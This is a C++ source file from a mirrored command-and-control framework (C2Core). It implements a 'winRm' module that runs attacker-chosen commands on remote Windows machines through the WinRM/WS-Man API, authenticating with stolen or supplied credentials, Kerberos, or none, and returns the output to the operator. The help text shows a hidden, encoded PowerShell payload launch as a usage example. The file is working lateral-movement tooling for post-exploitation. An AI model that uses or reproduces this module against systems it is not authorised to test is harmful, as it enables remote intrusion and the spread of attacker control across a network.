mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
685 lines
20 KiB
C++
685 lines
20 KiB
C++
#include "WinRM.hpp"
|
|
|
|
#include "Common.hpp"
|
|
|
|
#include <sstream>
|
|
|
|
#ifdef _WIN32
|
|
#include <windows.h>
|
|
#define WSMAN_API_VERSION_1_1 1
|
|
#include <wsman.h>
|
|
#endif
|
|
|
|
using namespace std;
|
|
|
|
constexpr std::string_view moduleNameWinRM = "winRm";
|
|
constexpr unsigned long long moduleHashWinRM = djb2(moduleNameWinRM);
|
|
|
|
#ifdef _WIN32
|
|
extern "C" __declspec(dllexport) WinRM* WinRMConstructor()
|
|
{
|
|
return new WinRM();
|
|
}
|
|
#else
|
|
extern "C" __attribute__((visibility("default"))) WinRM* WinRMConstructor()
|
|
{
|
|
return new WinRM();
|
|
}
|
|
#endif
|
|
|
|
WinRM::WinRM()
|
|
#ifdef BUILD_TEAMSERVER
|
|
: ModuleCmd(std::string(moduleNameWinRM), moduleHashWinRM)
|
|
#else
|
|
: ModuleCmd("", moduleHashWinRM)
|
|
#endif
|
|
{
|
|
}
|
|
|
|
|
|
WinRM::~WinRM() = default;
|
|
|
|
|
|
std::string WinRM::getInfo()
|
|
{
|
|
std::string info;
|
|
#ifdef BUILD_TEAMSERVER
|
|
info += "WinRM Module:\n";
|
|
info += "Execute a command remotely over WS-Man using the native WinRM client API.\n";
|
|
info += "Administrator privileges on the remote machine are required.\n";
|
|
info += "Supports no credential, credential-based and Kerberos authentication (endpointWide must be FQDN).\n";
|
|
info += "\nUsage examples:\n";
|
|
info += " - winRm -u DOMAIN\\Username Password https://target:5986/wsman powershell.exe -nop -w hidden -e <Base64Payload> \n";
|
|
info += " - winRm -k http://target.example.com:5985/wsman whoami.exe /all \n";
|
|
info += " - winRm -n http://target:5985/wsman dir c:\\ \n";
|
|
info += "\nOptions:\n";
|
|
info += " -u <user> <password> <target> Use username and password authentication\n";
|
|
info += " -k <targetFQDN> Use Kerberos authentication\n";
|
|
info += " -n <target> No cred provided\n";
|
|
info += "\nNote:\n";
|
|
info += " The command and arguments following the target are passed to the remote process.\n";
|
|
#endif
|
|
return info;
|
|
}
|
|
|
|
|
|
int WinRM::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
|
{
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
if (splitedCmd.size() >= 2)
|
|
{
|
|
string mode = splitedCmd[1];
|
|
|
|
if(mode=="-u" && splitedCmd.size() >= 5)
|
|
{
|
|
string usernameDomain=splitedCmd[2];
|
|
string password=splitedCmd[3];
|
|
string target=splitedCmd[4];
|
|
std::string username="";
|
|
std::string domain=".";
|
|
|
|
std::vector<std::string> splitedList;
|
|
splitList(usernameDomain, "\\", splitedList);
|
|
|
|
if(splitedList.size()==1)
|
|
username = splitedList[0];
|
|
else if(splitedList.size()>1)
|
|
{
|
|
domain = splitedList[0];
|
|
username = splitedList[1];
|
|
}
|
|
|
|
std::string cmd = domain;
|
|
cmd += '\0';
|
|
cmd += username;
|
|
cmd += '\0';
|
|
cmd += password;
|
|
cmd += '\0';
|
|
cmd += target;
|
|
|
|
c2Message.set_cmd(cmd);
|
|
|
|
std::string programToLaunch="";
|
|
for (int idx = 5; idx < splitedCmd.size(); idx++)
|
|
{
|
|
if(!programToLaunch.empty())
|
|
programToLaunch+=" ";
|
|
programToLaunch+=splitedCmd[idx];
|
|
}
|
|
|
|
c2Message.set_data(programToLaunch.data(), programToLaunch.size());
|
|
}
|
|
else if((mode=="-n" || mode=="-k") && splitedCmd.size() >= 3)
|
|
{
|
|
string target=splitedCmd[2];
|
|
|
|
std::string cmd = "";
|
|
cmd += target;
|
|
|
|
c2Message.set_cmd(cmd);
|
|
|
|
std::string programToLaunch="";
|
|
for (int idx = 3; idx < splitedCmd.size(); idx++)
|
|
{
|
|
if(!programToLaunch.empty())
|
|
programToLaunch+=" ";
|
|
programToLaunch+=splitedCmd[idx];
|
|
}
|
|
|
|
c2Message.set_data(programToLaunch.data(), programToLaunch.size());
|
|
}
|
|
else
|
|
{
|
|
c2Message.set_returnvalue(getInfo());
|
|
return -1;
|
|
}
|
|
|
|
c2Message.set_instruction(splitedCmd[0]);
|
|
}
|
|
else
|
|
{
|
|
c2Message.set_returnvalue(getInfo());
|
|
return -1;
|
|
}
|
|
#endif
|
|
return 0;
|
|
}
|
|
|
|
int WinRM::process(C2Message& c2Message, C2Message& c2RetMessage)
|
|
{
|
|
std::string cmd = c2Message.cmd();
|
|
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
|
c2RetMessage.set_cmd(cmd);
|
|
|
|
int error=0;
|
|
std::string result;
|
|
|
|
#ifdef _WIN32
|
|
error = runCommand(c2Message, result);
|
|
#else
|
|
result = "Only supported on Windows.\n";
|
|
#endif
|
|
|
|
if(error)
|
|
c2RetMessage.set_errorCode(error);
|
|
|
|
c2RetMessage.set_instruction(c2Message.instruction());
|
|
c2RetMessage.set_cmd(c2Message.cmd());
|
|
c2RetMessage.set_returnvalue(result);
|
|
return 0;
|
|
}
|
|
|
|
|
|
#define ERROR_CONFIG 1
|
|
#define ERROR_WSMAN_INIT 2
|
|
#define ERROR_WSMAN_CREATE_SESSION 3
|
|
#define ERROR_WSMAN_CREATE_EVENT 4
|
|
#define ERROR_WSMAN_CREATE_SHELL 5
|
|
#define ERROR_WSMAN_RUN_SHELL_COMMAND 6
|
|
|
|
|
|
int WinRM::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg)
|
|
{
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
int errorCode = c2RetMessage.errorCode();
|
|
if(errorCode>0)
|
|
{
|
|
if(errorCode==ERROR_CONFIG)
|
|
errorMsg = "Failed with input data.";
|
|
else if(errorCode==ERROR_WSMAN_CREATE_EVENT)
|
|
errorMsg = "Failed to create synchronization event for WinRM output.";
|
|
else
|
|
errorMsg = c2RetMessage.returnvalue();
|
|
}
|
|
#endif
|
|
return 0;
|
|
}
|
|
|
|
|
|
#ifdef _WIN32
|
|
|
|
namespace
|
|
{
|
|
|
|
std::wstring widen(const std::string& value)
|
|
{
|
|
if (value.empty())
|
|
{
|
|
return std::wstring();
|
|
}
|
|
|
|
int required = MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), nullptr, 0);
|
|
if (required <= 0)
|
|
{
|
|
return std::wstring();
|
|
}
|
|
|
|
std::wstring buffer(static_cast<size_t>(required), L'\0');
|
|
MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), buffer.data(), required);
|
|
return buffer;
|
|
}
|
|
|
|
|
|
std::string narrow(const std::wstring& value)
|
|
{
|
|
if (value.empty())
|
|
{
|
|
return std::string();
|
|
}
|
|
|
|
int required = WideCharToMultiByte(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), nullptr, 0, nullptr, nullptr);
|
|
if (required <= 0)
|
|
{
|
|
return std::string();
|
|
}
|
|
|
|
std::string buffer(static_cast<size_t>(required), '\0');
|
|
WideCharToMultiByte(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), buffer.data(), required, nullptr, nullptr);
|
|
return buffer;
|
|
}
|
|
|
|
|
|
std::string formatWin32Error(DWORD errorCode, PCWSTR detail)
|
|
{
|
|
std::ostringstream oss;
|
|
oss << "Err 0x" << std::hex << std::uppercase << errorCode;
|
|
oss << std::nouppercase << std::dec;
|
|
|
|
if (detail != nullptr)
|
|
{
|
|
oss << ": " << narrow(std::wstring(detail));
|
|
}
|
|
else
|
|
{
|
|
LPWSTR messageBuffer = nullptr;
|
|
DWORD length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
|
nullptr,
|
|
errorCode,
|
|
0,
|
|
reinterpret_cast<LPWSTR>(&messageBuffer),
|
|
0,
|
|
nullptr);
|
|
if (length != 0 && messageBuffer != nullptr)
|
|
{
|
|
oss << ": " << narrow(std::wstring(messageBuffer, messageBuffer + length));
|
|
LocalFree(messageBuffer);
|
|
}
|
|
}
|
|
|
|
oss << '\n';
|
|
return oss.str();
|
|
}
|
|
|
|
|
|
struct ShellContext
|
|
{
|
|
HANDLE eventHandle = nullptr;
|
|
DWORD errorCode = ERROR_SUCCESS;
|
|
std::string message;
|
|
};
|
|
|
|
|
|
struct CommandContext
|
|
{
|
|
HANDLE eventHandle = nullptr;
|
|
DWORD errorCode = ERROR_SUCCESS;
|
|
std::string message;
|
|
WSMAN_COMMAND_HANDLE commandHandle = nullptr;
|
|
};
|
|
|
|
|
|
struct ReceiveContext
|
|
{
|
|
HANDLE eventHandle = nullptr;
|
|
DWORD errorCode = ERROR_SUCCESS;
|
|
std::string message;
|
|
std::string output;
|
|
DWORD exitCode = 0;
|
|
bool completed = false;
|
|
};
|
|
|
|
|
|
void CALLBACK ShellCallback(PVOID context,
|
|
DWORD flags,
|
|
WSMAN_ERROR* error,
|
|
WSMAN_SHELL_HANDLE shell,
|
|
WSMAN_COMMAND_HANDLE /*command*/,
|
|
WSMAN_OPERATION_HANDLE operationHandle,
|
|
WSMAN_RESPONSE_DATA* /*data*/)
|
|
{
|
|
(void)flags;
|
|
(void)shell;
|
|
|
|
auto* shellContext = static_cast<ShellContext*>(context);
|
|
if (error != nullptr && error->code != ERROR_SUCCESS)
|
|
{
|
|
shellContext->errorCode = error->code;
|
|
if (error->errorDetail != nullptr)
|
|
{
|
|
shellContext->message = narrow(std::wstring(error->errorDetail));
|
|
}
|
|
}
|
|
|
|
if (operationHandle != nullptr)
|
|
{
|
|
WSManCloseOperation(operationHandle, 0);
|
|
}
|
|
|
|
if (shellContext->eventHandle != nullptr)
|
|
{
|
|
SetEvent(shellContext->eventHandle);
|
|
}
|
|
}
|
|
|
|
|
|
void CALLBACK CommandCallback(PVOID context,
|
|
DWORD flags,
|
|
WSMAN_ERROR* error,
|
|
WSMAN_SHELL_HANDLE /*shell*/,
|
|
WSMAN_COMMAND_HANDLE command,
|
|
WSMAN_OPERATION_HANDLE operationHandle,
|
|
WSMAN_RESPONSE_DATA* /*data*/)
|
|
{
|
|
(void)flags;
|
|
|
|
auto* commandContext = static_cast<CommandContext*>(context);
|
|
if (error != nullptr && error->code != ERROR_SUCCESS)
|
|
{
|
|
commandContext->errorCode = error->code;
|
|
if (error->errorDetail != nullptr)
|
|
{
|
|
commandContext->message = narrow(std::wstring(error->errorDetail));
|
|
}
|
|
}
|
|
else
|
|
{
|
|
commandContext->commandHandle = command;
|
|
}
|
|
|
|
if (operationHandle != nullptr)
|
|
{
|
|
WSManCloseOperation(operationHandle, 0);
|
|
}
|
|
|
|
if (commandContext->eventHandle != nullptr)
|
|
{
|
|
SetEvent(commandContext->eventHandle);
|
|
}
|
|
}
|
|
|
|
|
|
void CALLBACK ReceiveCallback(PVOID context,
|
|
DWORD flags,
|
|
WSMAN_ERROR* error,
|
|
WSMAN_SHELL_HANDLE /*shell*/,
|
|
WSMAN_COMMAND_HANDLE /*command*/,
|
|
WSMAN_OPERATION_HANDLE /*operationHandle*/,
|
|
WSMAN_RESPONSE_DATA* data)
|
|
{
|
|
auto* receiveContext = static_cast<ReceiveContext*>(context);
|
|
|
|
if (error != nullptr && error->code != ERROR_SUCCESS)
|
|
{
|
|
receiveContext->errorCode = error->code;
|
|
if (error->errorDetail != nullptr)
|
|
{
|
|
receiveContext->message = narrow(std::wstring(error->errorDetail));
|
|
}
|
|
receiveContext->completed = true;
|
|
}
|
|
|
|
if (data != nullptr)
|
|
{
|
|
const WSMAN_RECEIVE_DATA_RESULT& receiveData = data->receiveData;
|
|
|
|
if (receiveData.streamData.type == WSMAN_DATA_TYPE_TEXT &&
|
|
receiveData.streamData.text.buffer != nullptr &&
|
|
receiveData.streamData.text.bufferLength > 0)
|
|
{
|
|
std::wstring segment(receiveData.streamData.text.buffer, receiveData.streamData.text.buffer + receiveData.streamData.text.bufferLength);
|
|
receiveContext->output.append(narrow(segment));
|
|
}
|
|
else if (receiveData.streamData.type== WSMAN_DATA_TYPE_BINARY && receiveData.streamData.binaryData.data && receiveData.streamData.binaryData.dataLength > 0)
|
|
{
|
|
const char* buf = reinterpret_cast<const char*>(receiveData.streamData.binaryData.data);
|
|
size_t len = receiveData.streamData.binaryData.dataLength;
|
|
|
|
receiveContext->output.append(buf, buf + len);
|
|
}
|
|
|
|
if (receiveData.commandState != nullptr && _wcsicmp(receiveData.commandState, WSMAN_COMMAND_STATE_DONE) == 0)
|
|
{
|
|
receiveContext->completed = true;
|
|
receiveContext->exitCode = receiveData.exitCode;
|
|
}
|
|
}
|
|
|
|
if ((flags & WSMAN_FLAG_CALLBACK_END_OF_OPERATION) != 0)
|
|
{
|
|
receiveContext->completed = true;
|
|
}
|
|
|
|
if (receiveContext->eventHandle != nullptr)
|
|
{
|
|
SetEvent(receiveContext->eventHandle);
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
|
|
int WinRM::runCommand(const C2Message& c2Message, std::string& result) const
|
|
{
|
|
std::string cmd = c2Message.cmd();
|
|
|
|
std::vector<std::string> splitedList;
|
|
std::string delimitator;
|
|
delimitator+='\0';
|
|
splitList(cmd, delimitator, splitedList);
|
|
|
|
bool useToken=false;
|
|
std::string authority="";
|
|
|
|
bool usePassword=false;
|
|
std::string target="";
|
|
std::string domainName="";
|
|
std::string username="";
|
|
std::string user="";
|
|
std::string password="";
|
|
|
|
if(splitedList.size()==4)
|
|
{
|
|
usePassword=true;
|
|
|
|
domainName=splitedList[0];
|
|
username=splitedList[1];
|
|
password=splitedList[2];
|
|
target=splitedList[3];
|
|
|
|
user=domainName;
|
|
user+="\\";
|
|
user+=username;
|
|
|
|
}
|
|
else if(splitedList.size()==1)
|
|
{
|
|
usePassword=false;
|
|
|
|
target=splitedList[0];
|
|
}
|
|
else
|
|
{
|
|
result = "";
|
|
return ERROR_CONFIG;
|
|
}
|
|
|
|
const std::string data = c2Message.data();
|
|
|
|
std::wstring endpointWide = widen(target);
|
|
std::wstring commandLineWide = widen(data);
|
|
|
|
WSMAN_API_HANDLE apiHandle = nullptr;
|
|
DWORD status = WSManInitialize(0, &apiHandle);
|
|
|
|
if (status != ERROR_SUCCESS)
|
|
{
|
|
result = formatWin32Error(status, nullptr);
|
|
return ERROR_WSMAN_INIT;
|
|
}
|
|
|
|
WSMAN_AUTHENTICATION_CREDENTIALS credentials{};
|
|
WSMAN_AUTHENTICATION_CREDENTIALS* credentialsPtr = nullptr;
|
|
std::wstring usernameWide;
|
|
std::wstring passwordWide;
|
|
if (usePassword)
|
|
{
|
|
usernameWide = widen(username);
|
|
passwordWide = widen(password);
|
|
credentials.authenticationMechanism = WSMAN_FLAG_AUTH_NEGOTIATE;
|
|
credentials.userAccount.username = usernameWide.c_str();
|
|
credentials.userAccount.password = passwordWide.c_str();
|
|
credentialsPtr = &credentials;
|
|
}
|
|
|
|
WSMAN_SESSION_HANDLE session = nullptr;
|
|
status = WSManCreateSession(apiHandle,
|
|
endpointWide.empty() ? nullptr : endpointWide.c_str(),
|
|
0,
|
|
credentialsPtr,
|
|
nullptr,
|
|
&session);
|
|
if (status != ERROR_SUCCESS)
|
|
{
|
|
WSManDeinitialize(apiHandle, 0);
|
|
result = formatWin32Error(status, nullptr);
|
|
return ERROR_WSMAN_CREATE_SESSION;
|
|
}
|
|
|
|
ShellContext shellContext;
|
|
shellContext.eventHandle = CreateEventW(nullptr, TRUE, FALSE, nullptr);
|
|
if (shellContext.eventHandle == nullptr)
|
|
{
|
|
WSManCloseSession(session, 0);
|
|
WSManDeinitialize(apiHandle, 0);
|
|
|
|
result = "";
|
|
return ERROR_WSMAN_CREATE_EVENT;
|
|
}
|
|
|
|
WSMAN_SHELL_ASYNC shellAsync{};
|
|
shellAsync.operationContext = &shellContext;
|
|
shellAsync.completionFunction = ShellCallback;
|
|
|
|
WSMAN_SHELL_HANDLE shellHandle = nullptr;
|
|
WSManCreateShell(session,
|
|
0,
|
|
WSMAN_CMDSHELL_URI,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
&shellAsync,
|
|
&shellHandle);
|
|
|
|
WaitForSingleObject(shellContext.eventHandle, INFINITE);
|
|
|
|
if (shellContext.errorCode != ERROR_SUCCESS)
|
|
{
|
|
std::string message = shellContext.message.empty() ? formatWin32Error(shellContext.errorCode, nullptr)
|
|
: shellContext.message + "\n";
|
|
CloseHandle(shellContext.eventHandle);
|
|
WSManCloseSession(session, 0);
|
|
WSManDeinitialize(apiHandle, 0);
|
|
|
|
result = message;
|
|
return ERROR_WSMAN_CREATE_SHELL;
|
|
}
|
|
|
|
CommandContext commandContext;
|
|
commandContext.eventHandle = CreateEventW(nullptr, TRUE, FALSE, nullptr);
|
|
if (commandContext.eventHandle == nullptr)
|
|
{
|
|
WSManCloseShell(shellHandle, 0, NULL);
|
|
CloseHandle(shellContext.eventHandle);
|
|
WSManCloseSession(session, 0);
|
|
WSManDeinitialize(apiHandle, 0);
|
|
|
|
result = "";
|
|
return ERROR_WSMAN_CREATE_EVENT;
|
|
}
|
|
|
|
WSMAN_SHELL_ASYNC commandAsync{};
|
|
commandAsync.operationContext = &commandContext;
|
|
commandAsync.completionFunction = CommandCallback;
|
|
|
|
WSManRunShellCommand(shellHandle,
|
|
0,
|
|
commandLineWide.c_str(),
|
|
nullptr,
|
|
nullptr,
|
|
&commandAsync,
|
|
&commandContext.commandHandle);
|
|
|
|
WaitForSingleObject(commandContext.eventHandle, INFINITE);
|
|
|
|
if (commandContext.errorCode != ERROR_SUCCESS)
|
|
{
|
|
std::string message = commandContext.message.empty() ? formatWin32Error(commandContext.errorCode, nullptr)
|
|
: commandContext.message + "\n";
|
|
if (commandContext.commandHandle != nullptr)
|
|
{
|
|
WSManCloseCommand(commandContext.commandHandle, 0, NULL);
|
|
}
|
|
CloseHandle(commandContext.eventHandle);
|
|
WSManCloseShell(shellHandle, 0, NULL);
|
|
CloseHandle(shellContext.eventHandle);
|
|
WSManCloseSession(session, 0);
|
|
WSManDeinitialize(apiHandle, 0);
|
|
|
|
result = message;
|
|
return ERROR_WSMAN_RUN_SHELL_COMMAND;
|
|
}
|
|
|
|
ReceiveContext receiveContext;
|
|
receiveContext.eventHandle = CreateEventW(nullptr, TRUE, FALSE, nullptr);
|
|
if (receiveContext.eventHandle == nullptr)
|
|
{
|
|
WSManCloseCommand(commandContext.commandHandle, 0, NULL);
|
|
CloseHandle(commandContext.eventHandle);
|
|
WSManCloseShell(shellHandle, 0, NULL);
|
|
CloseHandle(shellContext.eventHandle);
|
|
WSManCloseSession(session, 0);
|
|
WSManDeinitialize(apiHandle, 0);
|
|
|
|
result = "";
|
|
return ERROR_WSMAN_CREATE_EVENT;
|
|
}
|
|
|
|
WSMAN_SHELL_ASYNC receiveAsync{};
|
|
receiveAsync.operationContext = &receiveContext;
|
|
receiveAsync.completionFunction = ReceiveCallback;
|
|
|
|
WSMAN_STREAM_ID_SET streamSet{};
|
|
PCWSTR streams[2] = { WSMAN_STREAM_ID_STDOUT, WSMAN_STREAM_ID_STDERR };
|
|
streamSet.streamIDs = const_cast<PCWSTR*>(streams);
|
|
streamSet.streamIDsCount = 2;
|
|
|
|
while (!receiveContext.completed)
|
|
{
|
|
ResetEvent(receiveContext.eventHandle);
|
|
WSMAN_OPERATION_HANDLE receiveOp = nullptr;
|
|
WSManReceiveShellOutput(shellHandle,
|
|
commandContext.commandHandle,
|
|
0,
|
|
&streamSet,
|
|
&receiveAsync,
|
|
&receiveOp);
|
|
|
|
|
|
WaitForSingleObject(receiveContext.eventHandle, INFINITE);
|
|
|
|
if(receiveOp != nullptr)
|
|
WSManCloseOperation(receiveOp, 0);
|
|
|
|
if (receiveContext.errorCode != ERROR_SUCCESS)
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
|
|
std::string response;
|
|
if (receiveContext.errorCode != ERROR_SUCCESS)
|
|
{
|
|
response = receiveContext.message.empty() ? formatWin32Error(receiveContext.errorCode, nullptr)
|
|
: receiveContext.message + "\n";
|
|
}
|
|
else
|
|
{
|
|
response = receiveContext.output;
|
|
if (response.empty())
|
|
{
|
|
response = "No output.\n";
|
|
}
|
|
|
|
std::ostringstream trailer;
|
|
trailer << "\n[Code] " << receiveContext.exitCode << "\n";
|
|
response.append(trailer.str());
|
|
}
|
|
|
|
|
|
if (receiveContext.eventHandle != nullptr)
|
|
CloseHandle(receiveContext.eventHandle);
|
|
|
|
if (commandContext.commandHandle != nullptr)
|
|
WSManCloseCommand(commandContext.commandHandle, 0, NULL);
|
|
|
|
CloseHandle(commandContext.eventHandle);
|
|
WSManCloseShell(shellHandle, 0, NULL);
|
|
CloseHandle(shellContext.eventHandle);
|
|
WSManCloseSession(session, 0);
|
|
WSManDeinitialize(apiHandle, 0);
|
|
|
|
result = response;
|
|
return 0;
|
|
}
|
|
#endif
|